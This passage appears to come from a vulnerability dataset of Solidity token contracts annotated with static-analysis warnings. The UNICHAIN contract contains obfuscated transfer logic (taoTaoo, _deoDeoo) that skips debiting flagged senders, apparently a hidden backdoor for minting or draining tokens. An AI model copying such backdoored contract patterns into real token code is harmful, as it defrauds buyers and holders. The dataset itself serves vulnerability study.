84b5218: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9311261): Wally._finalSellTax should be constant \n\t// Recommendation for 9311261: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Wally The Emotional Support Alligator\";\n\n string private constant _symbol = unicode\"WALLY\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01f0a8a): Wally._taxSwapThreshold should be constant \n\t// Recommendation for 01f0a8a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb221e): Wally._maxTaxSwap should be constant \n\t// Recommendation for 4cb221e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 708a21c): Wally.caBlockLimit should be constant \n\t// Recommendation for 708a21c: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6f4551): Wally.caLimit should be constant \n\t// Recommendation for a6f4551: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bfa229f): Wally.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bfa229f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07b6706): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07b6706: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: acb157e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for acb157e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-benign | ID: acb157e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-benign | ID: acb157e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06da6bf): Wally._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 06da6bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: acb157e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 07b6706\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3229ed1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3229ed1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 06781d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 06781d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4984bd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4984bd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t// reentrancy-eth | ID: 06781d5\n\t\t\t\t// reentrancy-eth | ID: 4984bd7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t\t// reentrancy-eth | ID: 06781d5\n\t\t\t\t\t// reentrancy-eth | ID: 4984bd7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 06781d5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 06781d5\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t// reentrancy-eth | ID: 4984bd7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t\t// reentrancy-eth | ID: 4984bd7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4984bd7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3229ed1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4984bd7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4984bd7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3229ed1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3229ed1\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-benign | ID: acb157e\n\t\t// reentrancy-eth | ID: 06781d5\n\t\t// reentrancy-eth | ID: 4984bd7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f64f7f1): Missing events for critical arithmetic parameters.\n\t// Recommendation for f64f7f1: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: f64f7f1\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: f64f7f1\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: f64f7f1\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: f64f7f1\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: f64f7f1\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d08b1b5): Wally.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for d08b1b5: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: d08b1b5\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3229ed1\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-eth | ID: 06781d5\n\t\t// reentrancy-eth | ID: 4984bd7\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 34b2808): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 34b2808: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ebd1cf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ebd1cf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f776bce): Wally.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f776bce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a0801ad): Wally.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a0801ad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b63c8fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b63c8fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 34b2808\n\t\t// reentrancy-benign | ID: ebd1cf4\n\t\t// reentrancy-eth | ID: b63c8fc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 34b2808\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 34b2808\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n\t\t// unused-return | ID: a0801ad\n\t\t// reentrancy-eth | ID: b63c8fc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n\t\t// unused-return | ID: f776bce\n\t\t// reentrancy-eth | ID: b63c8fc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b63c8fc\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10001.sol", "size_bytes": 22139, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract UNICHAIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedTo;\n\n mapping(address => bool) private _deoDeoo;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ec0a6e): UNICHAIN._caoCaoo should be immutable \n\t// Recommendation for 9ec0a6e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _caoCaoo;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b65ab8): UNICHAIN._initialBuyTax should be constant \n\t// Recommendation for 9b65ab8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09433a2): UNICHAIN._initialSellTax should be constant \n\t// Recommendation for 09433a2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ca0f0e): UNICHAIN._finalBuyTax should be constant \n\t// Recommendation for 7ca0f0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 762a3ed): UNICHAIN._finalSellTax should be constant \n\t// Recommendation for 762a3ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7dd8012): UNICHAIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 7dd8012: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb95342): UNICHAIN._reduceSellTaxAt should be constant \n\t// Recommendation for eb95342: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbef6d2): UNICHAIN._preventSwapBefore should be constant \n\t// Recommendation for bbef6d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Unichain\";\n\n string private constant _symbol = unicode\"UNICHAIN\";\n\n uint256 public _maxTxAmount = _tTotal.mul(2).div(100);\n\n uint256 public _maxWalletSize = _tTotal.mul(2).div(100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7507a81): UNICHAIN._taxSwapThreshold should be constant \n\t// Recommendation for 7507a81: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(1).div(100);\n\n\t// WARNING Optimization Issue (constable-states | ID: f1b2a99): UNICHAIN._maxTaxSwap should be constant \n\t// Recommendation for f1b2a99: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(1).div(100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: f91e039): UNICHAIN.sellCount should be constant \n\t// Recommendation for f91e039: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6930dd5): UNICHAIN.lastSellBlock should be constant \n\t// Recommendation for 6930dd5: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _caoCaoo = payable(0x659bE35D0Ece9d7a63A411B68e1F88F53dBba476);\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedTo[owner()] = true;\n\n _isExcludedTo[address(this)] = true;\n\n _isExcludedTo[_caoCaoo] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initTrade() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aac94cb): UNICHAIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aac94cb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 581f4b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 581f4b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 98df174): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 98df174: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-benign | ID: 98df174\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-benign | ID: 98df174\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc57e11): UNICHAIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bc57e11: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 98df174\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 581f4b3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e09ccf5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e09ccf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (boolean-cst | severity: Medium | ID: c2b5686): UNICHAIN._transfer(address,address,uint256) uses a Boolean constant improperly require(bool)(_deoDeoo[_caoCaoo] = true && ! _deoDeoo[to])\n\t// Recommendation for c2b5686: Verify and simplify the condition.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 76bab84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 76bab84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 bbqAmt) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(bbqAmt > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taoTaoo = 10 + bbqAmt.sub(10);\n uint256 bbrAmt = 0;\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - bbqAmt;\n\n _tOwned[to] = _tOwned[to] + bbqAmt;\n\n emit Transfer(from, to, bbqAmt);\n\n return;\n }\n\n if (from != owner() && to != owner() && to != _caoCaoo) {\n\t\t\t// boolean-cst | ID: c2b5686\n require(_deoDeoo[_caoCaoo] = true && !_deoDeoo[to]);\n\n if (_buyCount == 0) {\n bbrAmt = bbqAmt\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedTo[to]\n ) {\n require(bbqAmt <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + bbqAmt <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n bbrAmt = bbqAmt\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n if (_deoDeoo[from] && _decimals == 9) {\n taoTaoo = _decimals == 9\n ? (10 - 10) * (bbqAmt * 5)\n : (5 - 5) * (bbqAmt + 5);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n bbrAmt = bbqAmt\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: e09ccf5\n\t\t\t\t\t// reentrancy-eth | ID: 76bab84\n swapTokensForEth(\n min(bbqAmt, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: e09ccf5\n\t\t\t\t// reentrancy-eth | ID: 76bab84\n sendETHToFee();\n }\n }\n\n if (bbrAmt > 0) {\n\t\t\t// reentrancy-eth | ID: 76bab84\n _tOwned[address(this)] = _tOwned[address(this)].add(bbrAmt);\n\n\t\t\t// reentrancy-events | ID: e09ccf5\n emit Transfer(from, address(this), bbrAmt);\n }\n\n\t\t// reentrancy-eth | ID: 76bab84\n _tOwned[from] = _tOwned[from].sub(taoTaoo);\n\n\t\t// reentrancy-eth | ID: 76bab84\n _tOwned[to] = _tOwned[to].add(bbqAmt.sub(bbrAmt));\n\n\t\t// reentrancy-events | ID: e09ccf5\n emit Transfer(from, to, bbqAmt.sub(bbrAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e09ccf5\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-benign | ID: 98df174\n\t\t// reentrancy-eth | ID: 76bab84\n 